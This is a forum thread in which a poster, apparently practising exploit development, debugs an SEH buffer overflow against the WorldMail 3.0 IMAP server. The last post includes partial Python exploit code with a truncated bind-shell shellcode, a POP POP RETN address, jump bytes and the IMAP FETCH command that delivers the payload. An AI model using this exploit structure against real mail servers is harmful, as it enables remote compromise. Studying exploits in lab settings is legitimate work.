June 29, 2013 at 2:34 am #8503
I am trying to exploit an SEH bof on “Eudora Qualcomm WorldMail 3.0 (IMAPd)”. the shellcode is bind_tcp on port 4444. Everything works fine, I removed all bad characters, verified that the code is placed in the right offset, and the code executes and I verify this by running “netstat -noa” on the victim machine which shows that its listening to port 4444 as expected.
The problem arise when I am trying to connect to this port using netcat. once I connect to the victim, the program crashes in the debugger although it was “Running” without problems just before I connect to it.
I even tried connecting to it from the victim machine itself to keep off any network problem, however, the same problem happen !
Thanks in advance !
June 29, 2013 at 8:33 am #53192hanyhasanParticipant
check this write up about worldmail 3.0
June 29, 2013 at 5:48 pm #53193
Actually I have already reviewed it, however, I doubt that it is working one as the shellcode used contains bad chars like x00 !
June 29, 2013 at 6:39 pm #53194dynamikParticipant
Can you paste your exploit? It’s difficult to provide much guidance without seeing it.
Try doing a stack adjustment by subtracting something like -1500 from ESP before your shellcode. I’ve had the shellcode get corrupted as it decodes. It might get far enough to open a socket, but the rest is broken.
July 1, 2013 at 7:48 pm #53195
Don’t know why people are asking for exploit code on this one. OP obviously has a working exploit if the payload was executed (as evidenced by the open port 4444). The problem is somewhere in the post-exploitation connection attempt.
The only thing I can think of is possibly a firewall sitting between you and the remote system that is white-listed (so drops all incoming connections to ports that are not in standard use on the network). Or a hardened host-based firewall, if target is windows system.
July 1, 2013 at 9:13 pm #53196superkojimanParticipant
Easy way to check if it’s something else blocking the exploit – setup a netcat listener on port 4444 on your victim machine. Then try connecting to it with netcat on your attacking machine. If it gets dropped, then there’s something sitting in between preventing it from connecting.
If that works, then you need to examine the debugger closer. Do you know what’s causing it to crash? Maybe one of the functions being called when you attempt to connect is returning an error?
July 1, 2013 at 9:20 pm #53197hayabusaParticipant
I think you over-read the intent, in dynamik’s response.
(Note, the OP said the listener crashed on a connection attempt. Not that it just didn’t respond)
The reason dynamik asked is because, very obviously, while the exploit opened the listener, it has issues with what to do with a connection attempt. I don’t think he’s actually asking for the code, specific to the exploit, itself, but rather the payload portion of the exploit, where the execution occurs ‘POST’ exploit. Obviously, either a.) the payload is flawed, or b.) something corrupted the payload, in memory (or it didn’t fit in memory), to the point where anything connecting to the listener causes it to crash, or c.) the payload code is making a call to a bad address.
And I also agree with superkojiman, who posted, as I was typing… 😉
July 1, 2013 at 11:09 pm #53198
You’re right…my bad. Jumped the gun on that one…
July 2, 2013 at 12:53 pm #53199hayabusaParticipant
You’re right…my bad. Jumped the gun on that one…
No worries. I do it from time to time, too. (Much more often than I’d like to admit, sometimes.) It helps that many of us here have known dynamik (aka – ajohnson) for a couple of years now, so I pretty much knew where he was coming from (as well as recently having the privilege to meet him, face to face, for the first time – great guy)
July 2, 2013 at 1:58 pm #53200
Yeah….as the new guy around here, I should probably at least read the entire post before firing back replies and stepping on peoples toes, lol.
July 2, 2013 at 3:54 pm #53201
@dynamik thanks for your response. For some reason it worked after adding some NOPs after the shellcode ! please check the code below:
shellcode = (“xb8x3bxe5xd0x36xdaxd3xd9x74x24xf4x5ax29xc9xb1”
buffer = “x90” * 300 #Nop Sled to fill the first 300 bytes before the shellcode
buffer += shellcode #Shellcode to spawn a shell listening on port 4444
buffer += “x90” *81 #Nop Sled to fill the rest of the buffer after the shellcode
buffer += “xEBx06x90x90” #Short JMP of 6 bytes
buffer += “x95xcbx0dx60” #Memory Address of POP POP RETN sequence at module MsccMgr.dll
buffer += “x90″*8+”xe9xffxfcxffxff” #8 Bytes of NOPs followed by 700 Bytes backward jump
buffer += “}” *50 #Junk
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print “Can’t connect to server!n”
print “[+] Connecting to victim !”
print “[+] “+data.rstrip()
print “[+] Sending evil buffer…”
s.send(‘A013 UID FETCH 4827313:4827313 ‘+ buffer + “rn”)
print “[+] Exploitation Successfuln”
print “[+] Please Connect to port 4444 on victim IP now !n”
So when moving the 81 NOPs that are after the shellcode and placing them before the shellcode (adding them to the 300 NOPs already there), the exploit fails !
Actually I would appreciate letting me know what is know by stack adjustment !
@superkojiman I am connecting to it from local machine itself: nc 127.0.0.1 444 to avoid any network problems
You must be logged in to reply to this topic.